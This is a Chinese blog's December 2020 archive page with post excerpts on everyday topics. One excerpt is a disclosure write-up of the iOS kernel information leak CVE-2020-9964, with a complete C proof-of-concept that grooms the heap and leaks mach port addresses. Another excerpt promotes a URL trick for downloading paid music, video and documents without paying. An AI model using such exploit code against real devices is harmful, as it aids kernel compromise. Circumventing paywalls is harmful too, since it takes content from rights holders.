网站首页 发表在 2020年12月 的所有文章

  • 男人对女人动情后,三个表现比较明显,十有九准

    在大多数人的印象里,男人对一个人动情之后,就会直接表达自己的爱意,可现实却并非如此。 在现实生活中,并不乏一些腼腆的男人,有些即便是大大咧咧的性格,但在表达爱情这件事上,也会瞻前顾后,很少会选择直接把爱说出口。 这时候女人可能就会说,两个人都不主动表达,还怎么正式确定恋爱关系呢?其实,男人虽然不会主动把爱说出来,但却会把爱意夹杂在相处的细节中,对于心思细腻的女人来讲,很容易就能够发现。 通常情况下,男人对女人动情后,三个表现比较明显,十有九准。 主动打扰你 对于一个自己并不喜欢的人,主动是一件很奢侈的事情,除了是对别人的一种尊重之外,就是不想浪费自己的时间,毕竟对你没有任何的好感和情愫,主动打扰显然是多余的。 可是当男人对你动情之后,却会频繁主动的打扰你,说白了就是一种感情的表达方式,因为对你产生了好感,所以就想和你拥有一些联系和接触,而主动打扰你是男人能想到的最好方法。 即便男人遭受了你的拒绝,亦或者不搭理,他都会继续主动地打扰你,甚至还会更频繁,就是为了能够保持彼此之间的联系,想让你更清楚他的心意,而且每次打扰你的时候,都会有一种莫名的期待,希望得到你的回复,尤其是在感情方面。 主动靠近你 众所周知,喜欢一个人的时候就会特别想靠近对方,尤其是作为男人,虽然羞于表达内心的爱意,但却会在动作上有所主动,而靠近便是对爱情最好的诠释。 倘若对你根本就没有任何的情愫,男人自然会选择保持一定的距离,毕竟当下的生活仍旧提倡男女有别,有修养的男人不会主动靠近一个自己不喜欢的女人,一方面是不想让别人误会,另一方面则是自身修养的体现。 男人对你主动的靠近,绝对不是一种玩弄的心理,而是抱着一份真挚的情感,对你动了真情之后的自然流露,千万别误以为对方是“好色”,倘若只是玩玩而已,只会用嘴去表达,而不是靠近。 主动表达爱意 很多时候,当男人的爱积累到一定程度之后,也会主动表达爱意,或许并不是用嘴巴说出来,也可能是牵手、拥抱、接吻等肢体动作,这份爱甚至已经超越了深爱的层次。 男人若是并没有对你动情,根本就不会花费时间浪费在你身上,顶多就是朋友之间的寒暄,想牵手、拥抱等工作,根本就不可能发生,甚至都不会留意你的出现,又何来深爱呢? 一个男人能够主动表达爱意,可想而知是出于内心真挚的爱,想把你留在自己的身边,甚至已经爱到了难以自拔,自然就会更直接的去表达。 写在嘴后 总而言之,一个男人对你动情之后,虽然嘴上不会说爱你,但是心里却早已经按捺不住自己了,会想办法通过一些行动去表达出来,女人只要用心感受,就能够感受到男人的真心。 爱情,最容易让人身不由己,而且自己根本就无法控制。对一个人动情之后的举动,都是源于爱,而非刻意的去表现。或许他们并不善于去说,但行为上却会表达的很明显,女人发现之后一定要好好珍惜。 ...

    2020-12-23 637
  • CVE-2020-9964-iOS信息泄漏

    iOS 14现已向公众开放,并附带了iOS 14.0安全内容更新。您将看到的其中一个漏洞是CVE-2020-9964,这是IOSurfaceAccelerator中的一个漏洞,也是我的第一个信息泄漏:) 我(@ Muirey03)和MohamedGhannam(@ _simo36)都被发现了此漏洞。如果我发现有更多知道这一点的人,我将不会感到惊讶。 Apple将此错误的影响描述为“本地用户可能能够读取内核内存”,并在描述中将其称为“内存初始化问题”,那么该错误是什么? IOSurfaceAcceleratorClient :: user_get_histogram IOSurfaceAcceleratorClient是AppleM2ScalerCSCDriver IOService的用户客户端,并且是可以从“应用程序沙箱”中打开的少数几个用户客户端之一。我们对该用户客户端上的一种特定外部方法 (方法9,IOSurfaceAcceleratorClient :: user_get_histogram)感兴趣。IOSurfaceAcceleratorClient使用旧版 IOUserClient :: getTargetAndMethodForIndex 作为其外部方法,这就是方法9的IOExternalMethod描述符的样子: { IOSurfaceAcceleratorClient::user_get_histogram, kIOUCStructIStructO, 0x8, 0x0} 从中我们可以看到user_get_histogram仅占用8个字节的输入数据,并且不返回任何内容作为输出数据,因此让我们看一下实现。这是我注释的伪代码: IOReturn IOSurfaceAcceleratorClient::user_get_histogram(IOSurfaceAcceleratorClient *this, void *input, uint64_t inputSize){ IOReturn result; if (this->calledFromKernel) { ... } else { IOMemoryDescriptor *memDesc = IOMemoryDescriptor::withAddressRange(*(mach_vm_address_t *)input, this->histogramSize, kIODirectionOutIn, this->task); if ( memDesc ) { ret = memDesc->prepare(kIODirectionNone); if (ret) { ... } else { ret = AppleM2ScalerCSCDriver::get_histogram(this->fOwner, this, memDesc); memDesc->complete(kIODirectionNone); } memDesc->release(); } else { ret = kIOReturnNoMemory; } } return ret;} 从中我们可以看到,结构输入的8个字节旨在用作用户空间指针, AppleM2ScalerCSCDriver :: get_histogram` 可对其进行读写。实际上,get_histogram调用到get_histogram_gated,如下所示: IOReturn AppleM2ScalerCSCDriver::get_histogram_gated(AppleM2ScalerCSCDriver *this, IOSurfaceAcceleratorClient *client, IOMemoryDescriptor *memDesc){ IOReturn result; if ( memDesc->writeBytes(0, client->histogramBuffer, client->histogramSize) == client->histogramSize ) result = kIOReturnSuccess; else result = kIOReturnIOError; return result;} 我们看到client-> histogramBuffer被写回到用户空间,所以现在的问题是,client-> histogramBuffer是什么?它在哪里初始化,在哪里填充? IOSurfaceAcceleratorClient::histogramBuffer 这个问题的答案最终是 IOSurfaceAcceleratorClient :: initClient, 它看起来像这样: bool IOSurfaceAcceleratorClient::initClient(IOSurfaceAcceleratorClient *this, AppleM2ScalerCSCDriver *owner, int type, AppleM2ScalerCSCHal *hal){ ... if ( ... ) { ... if ( ... ) { size_t bufferSize = ...; this->histogramSize = bufferSize; this->histogramBuffer = (void *)IOMalloc(bufferSize); IOAsynchronousScheduler *scheduler = IOAsynchronousScheduler::ioAsynchronousScheduler(0); this->scheduler = scheduler; if ( scheduler ) return true; ... } else { ... } } else { ... } this->stopClient(); return false;} 这是可疑的。histogramBuffer已分配但未填充,并且IOMalloc不会将内存归零,从而使histogramBuffer完全未初始化。正是在这一点上,我尝试为我自己调用该方法,但没有人感到惊讶,发现自己在看很多0xdeadbeef,这是未初始化内存的典型标志。 “开发” 我们正在将未初始化的内存泄漏回用户空间,但是我们该怎么办?像这样的信息泄漏自身相对而言是无害的,但是在利用其他内存损坏问题时有时是必不可少的。进行漏洞利用的一个常见要求是找到马赫端口地址,因此这是我进行漏洞利用的目标,但值得一提的是,该漏洞也可以用来击败kASLR。 我为此漏洞利用选择的目标分配是mach消息脱机端口阵列。发送马赫消息时,可以选择将消息标记为“复杂”。这告诉内核,标头后面的不是原始数据,而是一个“主体”,后跟与消息一起发送的描述符。这些描述符之一是mach_msg_ool_ports_descriptor_t,这是 一组插入到接收任务中的离线端口权限。 内核通过创建一个缓冲区来处理这些OOL端口,该缓冲区包含一个在消息发送时指向数组中每个端口的指针,并在收到消息后释放该缓冲区(有关此代码,请参见ipc_kmsg_copyin_ool_ports_descriptor,如果您感兴趣,则为“非常复杂,太长了,无法在此处粘贴)。这对我们来说是完美的!我们可以使用它来触发任何大小的内核分配,其中包含我们要读取的确切数据(马赫端口指针),并且我们可以在任何时候完全确定地释放它。 高级漏洞利用流程 因此,我的漏洞利用计划如下所示: 发送一些消息,其OOL端口数组的大小与client-> histogramSize相同 通过接收消息释放这些阵列 打开一个IOSurfaceAcceleratorClient连接,分配histogramBuffer,它现在应该与这些空闲端口数组之一重叠 调用外部方法9,将端口指针读回到用户空间 利润 在我的设备上,client-> histogramSize为0x300,这意味着我的端口阵列的长度必须为96个端口。我选择发送0x80消息,但这是我凭空提出的一个完全任意的数字,不要过多看它。 漏洞利用 最终的利用如下: #include <stdlib.h>#include <assert.h>#include <stdio.h>#include <mach/mach.h>#include <IOKit/IOKitLib.h>#if 0AppleM2ScalerCSCDriver Infoleak:IOSurfaceAcceleratorClient::user_get_histogram takes a userspace pointer and writes histogram data back to that address.IOSurfaceAcceleratorClient::initClient allocates this histogram buffer, but does not zero the memory.When the external method IOSurfaceAcceleratorClient::user_get_histogram is called, this uninitialised memory is then sent back to userspace.This vulnerability is reachable from within the app sandbox on iOS.Below is a proof-of-concept exploit which utilises this vulnerability to leak the address of any mach port that the calling process holds a send-right to.Other kernel object addresses can be obtained using this vulnerability in similar ways.#endif #define ASSERT_KR(kr) do { \ if (kr != KERN_SUCCESS) { \ fprintf(stderr, "kr: %s (0x%x)\n", mach_error_string(kr), kr); \ exit(EXIT_FAILURE); \ } \} while(0) #define LEAK_SIZE 0x300#define SPRAY_COUNT 0x80 mach_port_t create_port(void){ mach_port_t p = MACH_PORT_NULL; mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p); mach_port_insert_right(mach_task_self(), p, p, MACH_MSG_TYPE_MAKE_SEND); return p;} io_connect_t open_client(const char* serviceName, uint32_t type){ io_connect_t client = MACH_PORT_NULL; io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(serviceName)); assert(service != MACH_PORT_NULL); IOServiceOpen(service, mach_task_self(), type, &client); assert(client != MACH_PORT_NULL); IOObjectRelease(service); return client;} void push_to_freelist(mach_port_t port){ uint32_t portCount = LEAK_SIZE / sizeof(void*); struct { mach_msg_header_t header; mach_msg_body_t body; mach_msg_ool_ports_descriptor_t ool_ports; } msg = {{0}}; mach_port_t* ports = (mach_port_t*)malloc(portCount * sizeof(mach_port_t)); for (uint32_t i = 0; i < portCount; i++) ports[i] = port; size_t msgSize = sizeof(msg); msg.header.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_MAKE_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX); msg.header.msgh_size = msgSize; msg.header.msgh_id = 'OOLP'; msg.body.msgh_descriptor_count = 1; msg.ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR; msg.ool_ports.address = (void*)ports; msg.ool_ports.count = portCount; msg.ool_ports.deallocate = false; msg.ool_ports.copy = MACH_MSG_PHYSICAL_COPY; msg.ool_ports.disposition = MACH_MSG_TYPE_MAKE_SEND; mach_port_t rcvPorts[SPRAY_COUNT]; for (uint32_t i = 0; i < SPRAY_COUNT; i++) { mach_port_t rcvPort = create_port(); rcvPorts[i] = rcvPort;    msg.header.msgh_remote_port = rcvPort; //trigger kernel allocation of port array: kern_return_t kr = mach_msg(&msg.header, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, (mach_msg_size_t)msgSize, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); ASSERT_KR(kr);  } for (uint32_t i = 1; i < SPRAY_COUNT; i++) mach_port_destroy(mach_task_self(), rcvPorts[i]); free((void*)ports);}//The actual vulnerability:void leak_bytes(void* buffer){ io_connect_t client = open_client("AppleM2ScalerCSCDriver", 0); kern_return_t kr = IOConnectCallStructMethod(client, 9, (uint64_t*)&buffer, 8, NULL, NULL); ASSERT_KR(kr); IOServiceClose(client);}uint64_t find_port_addr(mach_port_t port){  uint64_t* leak = (uint64_t*)malloc(LEAK_SIZE); printf("Preparing heap\n");  push_to_freelist(port); printf("Leaking 0x%zx bytes\n", (size_t)LEAK_SIZE);  leak_bytes(leak); uint64_t addr = leak[1]; free(leak); return addr;}int main(int argc, char* argv[], char* envp[]){ mach_port_t port = create_port(); uint64_t port_addr = find_port_addr(port); printf("Leaked port address: %p\n", (void*)port_addr); return 0;} 我发现此漏洞利用程序的成功率接近100%,几乎无法检测到任何故障,从而使漏洞利用程序可以继续运行直到成功为止。 注: 我被告知,此漏洞的可利用性受到iOS 14堆分离的影响。我对iOS 14中所做的更改了解不足以确认这一点,但是在查看将来未初始化的内存泄漏时,绝对需要考虑这一点。 ...

    2020-12-23 637
  • Python 中为什么不建议使用 time.sleep 实现定时功能?

    有时候,我们想实现一个非常简单的定时功能,例如:让一个程序每天早上 8 点调用某个函数 但我们又不想安装任何第三方库,也不会使用 crontab 或者任务计划功能,就想使用纯 Python 来实现 可能有同学会这样写代码: import time import datetime def run():     print('我是需要被每天调用的函数') def schedule():     target_time = datetime.time(8, 0, 0)     today = datetime.date.today()     target_date = today + datetime.timedelta(days=1)     target_datetime = datetime.datetime.combine(target_date, target_time)     now = datetime.datetime.now()     delta = (target_datetime - now).total_seconds()     time.sleep(delta)     run()     while True:         time.sleep(24 * 3600)         run() if __name__ == '__main__':     schedule() 这段程序,首先计算出现在距离明天早上 8 点相差的秒数;睡眠这么多秒以后,第一次运行目标函数,然后进入一个死循环,每隔 86400 秒,程序调用一次 run 函数 这个程序初看起来,似乎没有什么问题 但如果你每天观察它的运行时间,你会发现随着时间的推移,时间会越来越不准确 这是因为,run 函数不是一瞬间就运行完成的。它运行也会消耗时间 假设程序第一次运行 run 函数的时候,确实刚刚好是 8:00,run 函数运行了 2秒;那么,程序睡眠 86400 秒以后,时间实际上是 8:00:02.从第二天开始,每天晚 2 秒钟。一个月就会晚一分钟 但实际上,我们如果付出一点点微不足道的代价,我们就可以防止这种误差的发生,并且程序代码会变得更简单: import time import datetime def run():     print('我是需要被每天调用的函数') def schedule():     last_run = None     while True:         now = datetime.datetime.now()         if now.strftime('%H:%M') == '08:00' and last_run != now.date():             run()             last_run = now.date()         time.sleep(1) if __name__ == '__main__':     schedule() 程序在一个死循环中,每秒做一次检查,如果当前的时分正好是 08:00,并且上一次运行不是今天,那么就调用 run 函数,并把上一次运行的时间设置为今天。否则,就睡眠 1 秒钟 这样做,相当于每秒都会校对时间,从而避免了长时间运行导致的时间误差。虽然看起来这个死循环会非常消耗 CPU,但只要你算一下,实际上它只不过每天循环 86400 次而已。这个次数并不多 但无论如何,专业的事情应该交由专业的工具来做;time.sleep 用来设置周期性的时间间隔可以,但它实际上不适合用来做定时任务 因为一个支持定时任务的库,例如:Python 的schedule或者APScheduler,他们在确保定时时间准确上,做了很多工作。还有一些库甚至用到了时间轮这样的数据结构来确保时间的准确性。这不是我们简单用两三行 Python 代码就能完成的。 总结 如果能用 crontab 或者任务计划,那么这是最优选择;其次,使用 Python 专用的定时模块;最次,才是使用 time.sleep 来实现 如果不得不用 time.sleep,那么应该尽量缩短检查的间隔,避免长时间睡眠 ...

    2020-12-23 471
  • 最后几天!即将全国禁用

    距离塑料吸管“禁令”红线只剩十几天 你做好准备了吗? 根据国家发改委和生态环境部于今年初联合印发的《关于进一步加强塑料污染治理的意见》,到2020年底,全国范围餐饮行业禁止使用不可降解一次性塑料吸管。这一规定被业内称为“禁管令”。 7月,国家发展改革委等九部门印发《关于扎实推进塑料污染治理工作的通知》。再次提出,2020年底,全国范围餐饮行业禁止使用不可降解一次性塑料吸管。《通知》明确了禁止范围不包括牛奶、饮料等食品外包装上自带的塑料吸管。 全国部分餐饮店已更换 以纸吸管居多 记者在杭州东站餐饮区域随机走访了数家餐饮门店,发现不少店铺已见不到塑料吸管的身影,但也有很多店铺依然提供塑料吸管。 “我们店在4个多月前就不再提供塑料吸管,换成了自带饮嘴的杯盖。”候车室内一家连锁快餐店店员吴浩说,“也还有消费者索要吸管,我们就做好解释工作。” 记者在车站内数家餐饮店走访,注意到大部分消费者使用直饮杯盖或直接用杯子饮用,吸管相较以往已明显减少。 奶茶受到不少消费者青睐,奶茶店是吸管消耗大户。记者近日在北京一家连锁奶茶门店的自助吸管区看到,这里提供塑料和纸两种材质吸管供选择,边上有提示,建议大家减少塑料吸管的使用。 记者调查发现,一些连锁的大型餐饮企业已经开始行动起来,目前的替代产品以纸吸管居多,但多数餐饮店还在继续使用塑料吸管。 “纸吸管一咬就变形,放在热饮里一会儿就泡软了,喝起来有一股纸味儿,感觉特别别扭。”爱喝奶茶的小王告诉记者。 北京的杨阳曾用纸吸管喝带冰沙的饮料,结果搅拌时吸管差点散掉,“不得不一口气全喝完,店员提醒说时间长了吸管就软掉了”。 记者采访的不少消费者表示,不太清楚禁止使用塑料吸管的规定,但如果有好用的替代品,也可以接受。“支持禁用塑料吸管,但要有好的替代产品,纸吸管的使用体验太差了。”一些消费者表示。 替代产品价格是塑料吸管的3至5倍 据了解,目前,不可降解一次性塑料吸管主要替代产品包括聚乳酸(PLA)、纸等材质制成的可降解吸管,竹木、不锈钢等材质制成的可循环使用吸管。PLA使用可再生植物资源提取出的原料加工而成,是一种新型的生物降解材料。 通过对上下游生产企业和餐饮企业的走访,记者发现,尽管可降解或可循环使用的吸管成为下阶段行业市场的趋势,但相较传统一次性塑料吸管的低价优势,替代产品进入主流市场仍面临难题。 其中最主要的原因是替代产品性价比仍较低。据了解,1根塑料吸管约0.01元,1根纸吸管约0.03元,1根PLA吸管约0.05元。 吸管生产商浙江义乌市双童日用品有限公司董事长楼仲平说,“公司早在2005年前后就开始启动聚乳酸可降解吸管的研发,经历了寻找原料、改进性能等重重困难,最终面世的产品最初几年一直在市场遇冷。” “以快餐行业为例,吸管、餐具等用量巨大,全面替换餐具和吸管将大幅增加成本。”海南银达国际餐饮管理有限公司总经理陈龙华表示。 据记者调查,可降解产品成本居高不下的一个重要原因在于产业链配套尚不完善。浙江省发展改革委一级巡视员徐幸表示,由于替代产品目前尚处于产业发展前期阶段,产业规模还不是很大,现在在研发、设备等环节成本较高。 楼仲平认为,虽然政策调整对生产企业是一次新的发展机遇,但转型过程中,产业链发育尚不完善是企业普遍面临的尴尬处境。 能否顺利跟数百亿根塑料吸管“说再见”? 国家统计局数据显示,2019年全国塑料制品累计产量8184万吨,其中塑料吸管近3万吨,约合460亿根。 面对政策变局,有些厂家已做好布局。如双童6个吸管生产车间仅保留一个生产塑料吸管,大量设备被淘汰,生产线已经进行了更新,如今可降解吸管已占到双童吸管业务的70%左右。 对于生产厂家来说,国内市场还处于一个试探的过程。但一组数据显示,态势正向积极的方向转变。自9月以来,双童吸管已接到价值1000多万元的可降解吸管订单。楼仲平预计,今年可降解、可循环产品在公司年销售额占比将再提高十个百分点。 对于消费者最为在意的体验感,一些业内人士表示,随着工艺的逐步提高,纸吸管在75至80摄氏度也不会软化,但由于纸吸管没有回弹性,对于喜欢咬吸管的消费者来说,使用体验确实会打折扣。而使用感更接近于塑料吸管的PLA可降解吸管推广的主要障碍还是在于高昂的成本。 “随着塑料污染治理工作的逐步推进,尤其全社会对这个工作的重视,相信人们将对环境友好型材料达成共识,市场需求量和生产规模会越来越大,替代产品的生产成本也会逐步降低。”徐幸说。...

    2020-12-23 436
  • 浅谈VPN、SS和55R的区别

    1 VPN是什么? VPN,全称:Virtual Private Network,中文翻译:虛拟私人网络。 作用:提供安全可靠的通信渠道,一般而言企业使用较多。 延伸作用:科学上网。 说明:VPN的出现并不是为了“科学上网”,二是在公网上建立加密的通信渠道。例如,公司员工出差或者在寝室,想要登录公司内网邮箱怎么办?这时VPN就派上用场了,可以通过第三方连接工具进行远程连接,比如思科就有相应的工具。 2 何为SS? SS全称shadowsocks,一开始为个人独立开发并用作“科学上网”,后被大家所熟知和广泛使用。再后来,据说作者被请去“喝茶”,停止了该项目。 3 什么是55R? 55R全称shadowsocks-R。55R作者声称SS不够隐匿,容易被防火墙检测到,55R在改进了混淆和协议,更难被防火墙检测到。简单地说,55R是SS的改进版。 4 VPN与55R、SS的区别? SS和55R两者原理相同,都是基于socks5代理。客户端与服务端没有建立专有通道,客户端和实际要访问的服务端之间通过代理服务器进行通信,客户端发送请求和接受服务端返回的数据都要通过代理服务器。 55R目的是为了能让流量通过防火墙。 客户端请求服务端数据流程(55R): (1)浏览器发送请求(基于socks5协议), 通过55R客户端将sock5协议通过协议插件和混淆插件进行转换加密,使得来自客户端的流量和基于HTTP协议的流量无差别; (2)55R服务端(代理服务器)收到请求后,通过混淆插件、协议插件将数据解密并还原协议,最后转发到目标服务器。 服务端返回数据到客户端同理。 VPN与55R、SS的区别? 目的(作用)不同,VPN是为了保证通信的安全性、私密性,不是专门为“科学上网”制定的技术;而SS/55R则是为了转发客户端流量,绕过防火墙的检测,从而达到“科学上网”的真实意图,但是没有保证数据传输的安全性。 其实55R和SS区别不大,不必为了使用而使用,只要能达到目标,用哪一个都是可以的。 ...

    2020-12-20 3204
  • 流畅看1080p、2k、4k视频需要多大带宽?

    一些网友买VPS或机场服务是为了看外网视频,于是产生了一个问题:流畅看1080p、2k、4k视频需要多大带宽? 本文先介绍相关概念,然后给出这个问题的具体答案。 1080p、2k、4k视频 720p、1080p和2k、4k稍微有点不一样:720p和1080p的P指Progressive scan,所以720p和1080p是显示格式,而2k和4k指的是分辨率。但一般情况下我们不做区分,认为这几个概念说的都是视频分辨率。 这几个概念对应的分辨率分别为: 720P:分辨率1280*720 1080P:分辨率1920*1080 2k:分辨率2048*1080 4k:分辨率4096*2160 可以看到,1080P的分辨率其实和2k几乎没差别。因为2k是水平分辨率在2000左右的设备或内容,所以1080P可以归类到2k。 流畅看1080p、2k、4k视频需要多大带宽? 要回答这个问题,首先从理论上推导:4k视频分辨率4092*2160,每个像素用红蓝绿三个256色(8bit)数据表示,视频帧数为60fps,那么一秒钟画面的数据量是:4096*2160*3*8*60≈11.9Gbps。此外声音大概是视频数据量的十分之一,因此4k视频一秒钟的数据量大概是13Gb≈1.6GB。 所以理论上要想流畅看4k,下载速度需要达到1.6GB/s,也就是13Gbps。 目前绝大部分的家用路由器、手机、电脑、网线等设备至多都是千兆(1000Mbps,也就是1Gbps),而13Gbps至少需要万兆网卡、交换机和网线的支持,这显然不现实。 以上推导没考虑视频都会经过编码和压缩然后再传输。根据最新的H.265编码标准,编码后视频的压缩比是350~1000。那么1秒4k视频经过压缩后,大概是13Mb~38Mb,即1.7MB/s~5MB/s的下载速度就可以了,这个数据都在大家的接受范围内,因此4k视频推广条件其实很成熟。 根据同样的计算方法,下面是各个分辨率视频对VPS带宽的要求: 720P:服务器带宽要求1.35Mbps~4Mbps,建议2Mbps及以上 1080P:服务器带宽要求3Mbps~9.5Mbps,建议5Mbps及以上 2k:服务器带宽要求3Mbps~10Mbps,建议6Mbps及以上 4k:服务器带宽要求13Mbps~38Mbps,建议25Mbps及以上 最后:看视频不卡,自己觉得够清晰就行了,没必要非得追求4k,和别人飙油管数据也没多大意义。 ...

    2020-12-20 1294
  • 国行Android手机轻松安装Google服务框架最新版只需一步

    免责声明 !!!本站纯粹的技术性交流!!! !!!请勿违反我国法律法规!!! !!!如有违规还请网警大大高抬贵手联系我删除!!!! ===================================== 科学上网的问题,请大家遵从我国法律,请勿滥用! 请勿转发外网与政治等敏感相关等问题以及讨论与政治等敏感信息! 屏蔽翻/墙是为了保障好的政策环境, 互联网自由开放的程度是必须得把控的,希望你明白,珍惜这眼前的美好。 ====================================== 免责声明:本站所有有关科学上网等均是从互联网上转载,与本站无关。从本站下载的所有相关科学上网软件只供学术搜索、讨论等,下载后请于24小时内删除,一切责任与本站无关!请遵从我国法律! PS:不管怎么样还是祖国好,请一定注意你们的形象!China No.1! 看到很多粉粉们都在反应谷歌服务框架不能用,而且安装谷歌的应用都无法正常运行,提示无法连接到服务器等各种问题,昨天发现终于可以解决了,做了这个教程给大家。 大家都知道由于谷歌已经退出了中国大陆市场了,所以在国内手机的谷歌应用是无法使用国内普通网络访问谷歌服务器使用哦~ 那么我们怎么才能安装使用谷歌框架服务呢? 教程细节步骤:  Goole空间已更名为ourplay的安装方法这里不做赘述,百度搜一下谷歌空间,官网下载安装即可。 主要给大家介绍下如何通过Google空间来使用Google Play。 首次打开Google空间会自动安装好谷歌基础服务套件,同时也会自动将Google Play商店安装好,这里要看手机网速了,网速好十几秒就可以搞定,网速不好那可能需要泡一碗泡面的时间。全程自动化,这个设计比较良心。 自动配置完成后,你就可以在首页看到Google Play了,套件有新版本的时候也会同步自动更新,同时里面内置了国外节点,包括:美国、日本、韩国、中国台湾等,相当于中转功能,选择一个你喜欢的节点,就可以直接使用Google Play了。 这种方式的优点是方便、省心、免费,也不会存在进程杀不掉耗电高的问题;缺点是由于Google空间相当于在手机内创造一个独立的虚拟空间,目前还没办法导出到桌面,只能在软件内使用Google Play商店。 ...

    2020-12-20 2028
  • 微信双开简单方法

    废话不多说 直接进入正题 鼠标双击打开微信的同时,疯狂按 回车 亲测成功...

    2020-12-15 480
  • 德云社励志惊艳文案 德云社文案太会了

    1.海纳百川,海为什么能纳百川呢?不是因为海大,不是因为海深,是因为海的姿态低。 2.能聚一块叫朋,过心照顾能叫友,朋包括友,友不包括朋,但是能到朋友那已经了不得了。 3.爱惜羽毛的前提你得是个鹰,你要是个掸子你就别费那个劲儿。 4.天下很多事情其实跟努力是没有关系的,百分之九十九靠天赋,如果你有天赋了,你能再努力 那叫锦上添花,如果你没有天赋只是努力的话,只是落一个你有好身体。 5.冤枉你的人比你还知道你有多冤枉。 6.人与人没有可比性,你唯一能做的就是不断和自己比较,今天的是是否战胜了昨天的自己! 7. 社会从来都是不拿公平说话的,他们只看你的实力。就像从“反三俗”到“发扬传统文化”,中间差的,其实就是你有没有足够的能力去解决问题的本事而已。 8.小人永远是小人,他不会因为你的客气而改变,世上的恶人都是怂人惯出来的。 9.他站起来我说相声 他站不起来我推轮椅。 10.冤枉你的人比你还知道你有多冤枉。 11.我等你们长大 你们伴我成长。 12.太阳太阳 你能照见南边也能照见北边儿 你要是照见他你帮我跟他说一声 我想他了。 13.什么是爱情啊?就是简简单单的我喜欢你,我想跟你在一块,天天一块工作,一块吃饭,一块生活。 14.后来啊,我才明白,太阳都做不到让所有人喜欢,你说它温暖,我说它刺眼,谁能不挨骂呀? 15.有一句话叫触底反弹,我挺相信这句话的,你最难的时候会有一些别的转机。 16.人生就是应该处处克制,打人生下来就应该控制自己的所有欲望,包括克制自己的愤怒。 17.后来啊,我才想明白。太阳都没办法做到让所有人喜欢,你说它温暖,我说它刺眼,谁能不挨骂啊。 18.我来自云南周口,你来自北京元谋,我牵起你毛茸茸的小手,爱情让我们直立行走。 19.怎么网红啊我们也正儿八经说相声。 20.我们就像橱窗里的商品,商品能做的只是尽量展示自己。 21.我虽然长得不漂亮,但是让你们快乐是我毕生的梦想。 22..沾酒不醉是喝的少,见色不迷是摸不着。以德服人是打不过,淡泊名利是实在没有招。 23.我挺厌恶有一种人,不明白任何情况,就劝你一定要大度的人。这种人你要离他远一点,因为雷劈他的时候会连累到你! 24.人生在世,谁都会吃屎,但是别嚼。跟狗抢路,让狗先过,不丢人! 25.没有环岛,没有高速,没有草坪,路也不是很宽,你只能遇见我。 26.孩子在街上走,穿着打扮看出娘的手艺,说话办事显出爹的教养。 27.有趣的灵魂其实就是不给别人添麻烦的灵魂。 28.终于我们也看到了花团锦簇 我们也知道了灯彩佳话 那一夜,我也曾梦见百万雄兵。 ...

    2020-12-15 678
  • 网址前加上一段命令wn.run/ 居然让我发现新大陆

    今天发现个非常实用的网站,在网址前加上一段神奇的命令,居然发现了新大陆。 在你当前浏览的网站的网址最前面加上wn.run/ (wn万能的缩写)后回车,看看有没有什么神奇的变化呢? 是不是出现了一系列神奇的工具? 正巧小歪在浏览百度文库,在网址前添加wn.run/ 后,居然可以下载文库的文件。 接着我又试了下几个常用的网站,看看究竟都有什么功能? 淘宝网,京东等 添加wn.run/以后商品页面直接显示商品的历史价格,方便购物党比价。 酷狗,网易云音乐等 添加wn.run/以后直接显示当前音乐的真实下载地址,管你是不是VIP,统统下。 爱奇艺,腾讯,bilibili等 添加wn.run/以后显示视频下载地址和某些付费特殊视频解锁,居然比VIP还屌。 百度文库,豆丁文库等 添加wn.run/以后可以免积分直接下载当前的文档源文件,源文件,源文件。 其他网站 添加wn.run/以后可以将网页存为PDF,一键翻译,查看历史记录,一键截图,查看支持的油猴脚本等。 这个命令非常强大,适用于所有网站,在你正在浏览的网站前加上它,看看有没有什么惊喜呢!注意最后有一个 / 哦!...

    2020-12-15 764
  • 微博|晒图第九届性感大赛了

    大的遗憾不是错过最好的人,而是当你遇见最好的人时候, 已经把最好的自己用完了。不需要过多解释~ 围观地址:https://weibo.com/6584869435/JyanswBhn 往期:很小清新 围观地址:https://weibo.com/6584869435/Jx6kuCJvF ...

    2020-12-14 932
  • JS屏蔽指定地区访客浏览网站

    某些特殊情况下网站可能需要屏蔽部分地区的访问 将以下代码添加到网站模板即可使用 页面加入js代码(以屏蔽北京为例): Markup <script type="text/javascript" src="//pv.sohu.com/cityjson" charset="gb2312"></script> <script type="text/javascript"> var city = returnCitySN['cname']; if(city.indexOf('北京') != -1) { window.location.href = "https://www.baidu.com" } </script>...

    2020-12-14 658
  • 百度在线免费登记版权作品

    百度版权服务平台限时免费登记作品版权,发证机关是北京市版权局,包含文字、音乐、电影等作品都可以申请自己的版权证书。 活动地址:http://copyright.baidu.com/ ...

    2020-12-14 372
  • 有些人,经不起等待

    一场冬雨,淋湿了心里的回忆。寒来暑往,物是人非,年少时并肩前行的人,如今已是各奔天涯,你想不起一些人的名字,记不清一些人的样子。时间真的很残酷,关于过去的种种,只能怀念,不能重来。 这世间,有多少爱,被时间覆盖,有多少人,被岁月带走。 曾以为时间还多,和朋友的约定总在推迟,和爱人的计划总在改变。一些事,你想着明天再去做,一些人,你想着明天再去见。可是生活的样子,你永远无法预测,过了那个时间,过了那个地点,有些故事已成云烟,有些朋友,已成过往。 人与人之间,经不起等待,两个人不联系,感情就淡了,长时间不见面,距离就远了。再加上生活中还有许多不确定的因素,比如突然间的别离,不得已的放弃,和毫无征兆的疾病。 我曾看过一段话说: “有些事情,现在不去做,以后很有可能永远也做不了。不是没时间,就是因为有时间,你才会一拖再拖,放心让它们搁在那里,任凭风吹雨打,铺上厚厚的灰尘。而你终将遗忘曾经想要做的事、想要说的话、想要抓住的人。” 其实,这世间的相见,都是命运的馈赠。如果有人在你身边嘘寒问暖,懂你悲欢,请你一定要紧紧抓住,对他好一点,爱他久一点,别用冷漠去试探一颗真心,别用任性去考验一段感情。 没有人会一直在原地等你,但等你的人一定很爱你,别辜负,别遗憾。 来日并不方长,好好珍惜当下的每一个人。 ...

    2020-12-12 517
  • Telegram中文设置教程

